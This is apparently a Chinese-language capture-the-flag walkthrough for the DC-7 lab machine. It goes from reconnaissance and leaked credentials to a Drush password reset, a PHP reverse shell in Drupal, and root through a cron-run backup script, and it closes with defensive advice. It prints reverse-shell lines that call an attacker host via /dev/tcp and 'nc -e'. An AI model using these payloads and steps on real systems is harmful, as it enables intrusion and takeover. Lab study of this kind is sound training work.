DC系列靶机丨DC7
字数 890 2025-08-11 17:40:08

DC7靶机渗透测试教学文档

1. 信息收集阶段

1.1 网络扫描

使用netdiscover工具扫描目标网络:

netdiscover -i eth0 -r 192.168.84.0/24

1.2 端口扫描

使用nmap进行端口扫描:

nmap -sV -p- <目标IP>

2. Web应用测试

2.1 信息泄露发现

在GitHub上发现代码泄露,获取到config.php文件,其中包含:

  • 数据库账户
  • 密码

2.2 SSH登录

使用泄露的凭据尝试SSH登录:

ssh username@<目标IP>

3. 系统内部信息收集

3.1 发现重要文件

在系统中发现:

  • mbox文件:记录计划任务执行情况
  • /opt/scripts/backups.sh:root权限执行的备份脚本
  • /var/backups/目录下的加密文件(不可利用)

3.2 Drush工具利用

Drush是Drupal站点的管理工具,可用于修改密码:

# 进入网站目录
cd /var/www/html

# 查看管理员账户信息
drush user-information admin

# 修改admin密码
drush upwd admin --password="passwd"

4. Web后台利用

4.1 登录后台

使用修改后的凭据登录Drupal后台

4.2 安装PHP模块

  1. 进入"模块"部分
  2. 安装支持PHP的插件
  3. 如果安装失败,重试几次

4.3 写入反弹shell

  1. 在内容编辑区域启用PHP代码功能
  2. 插入反弹shell代码(示例):
<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/<攻击者IP>/<端口> 0>&1'");
?>

4.4 本地监听

在攻击机上设置监听:

nc -lvnp <端口>

5. 提权阶段

5.1 获取标准终端

在获得的shell中升级为完整终端:

python -c "import pty;pty.spawn('/bin/bash')"

5.2 利用定时任务提权

  1. 发现/opt/scripts/backups.sh由root定期执行
  2. 向脚本追加反弹shell命令:
echo "nc -e /bin/bash <攻击者IP> 5555" >> /opt/scripts/backups.sh
  1. 在攻击机上设置新监听:
nc -lvnp 5555
  1. 等待定时任务执行,获取root shell

5.3 获取flag

在root权限下查找并读取flag文件

关键点总结

  1. 信息泄露:GitHub上的代码泄露是初始突破口
  2. 凭证复用:数据库凭据可能用于SSH登录
  3. Drush利用:Drupal管理工具可用于重置密码
  4. PHP模块安装:为获取反向shell创造条件
  5. 定时任务提权:利用root权限执行的脚本获取最高权限

防御建议

  1. 避免将敏感信息(如数据库凭据)提交到公开代码仓库
  2. 实施最小权限原则,限制备份脚本权限
  3. 定期审计计划任务和cron作业
  4. 禁用或限制不必要的内容类型(如PHP代码执行)
  5. 使用强密码并定期更换
DC7靶机渗透测试教学文档 1. 信息收集阶段 1.1 网络扫描 使用 netdiscover 工具扫描目标网络: 1.2 端口扫描 使用 nmap 进行端口扫描: 2. Web应用测试 2.1 信息泄露发现 在GitHub上发现代码泄露,获取到 config.php 文件,其中包含: 数据库账户 密码 2.2 SSH登录 使用泄露的凭据尝试SSH登录: 3. 系统内部信息收集 3.1 发现重要文件 在系统中发现: mbox 文件:记录计划任务执行情况 /opt/scripts/backups.sh :root权限执行的备份脚本 /var/backups/ 目录下的加密文件(不可利用) 3.2 Drush工具利用 Drush是Drupal站点的管理工具,可用于修改密码: 4. Web后台利用 4.1 登录后台 使用修改后的凭据登录Drupal后台 4.2 安装PHP模块 进入"模块"部分 安装支持PHP的插件 如果安装失败,重试几次 4.3 写入反弹shell 在内容编辑区域启用PHP代码功能 插入反弹shell代码(示例): 4.4 本地监听 在攻击机上设置监听: 5. 提权阶段 5.1 获取标准终端 在获得的shell中升级为完整终端: 5.2 利用定时任务提权 发现 /opt/scripts/backups.sh 由root定期执行 向脚本追加反弹shell命令: 在攻击机上设置新监听: 等待定时任务执行,获取root shell 5.3 获取flag 在root权限下查找并读取flag文件 关键点总结 信息泄露 :GitHub上的代码泄露是初始突破口 凭证复用 :数据库凭据可能用于SSH登录 Drush利用 :Drupal管理工具可用于重置密码 PHP模块安装 :为获取反向shell创造条件 定时任务提权 :利用root权限执行的脚本获取最高权限 防御建议 避免将敏感信息(如数据库凭据)提交到公开代码仓库 实施最小权限原则,限制备份脚本权限 定期审计计划任务和cron作业 禁用或限制不必要的内容类型(如PHP代码执行) 使用强密码并定期更换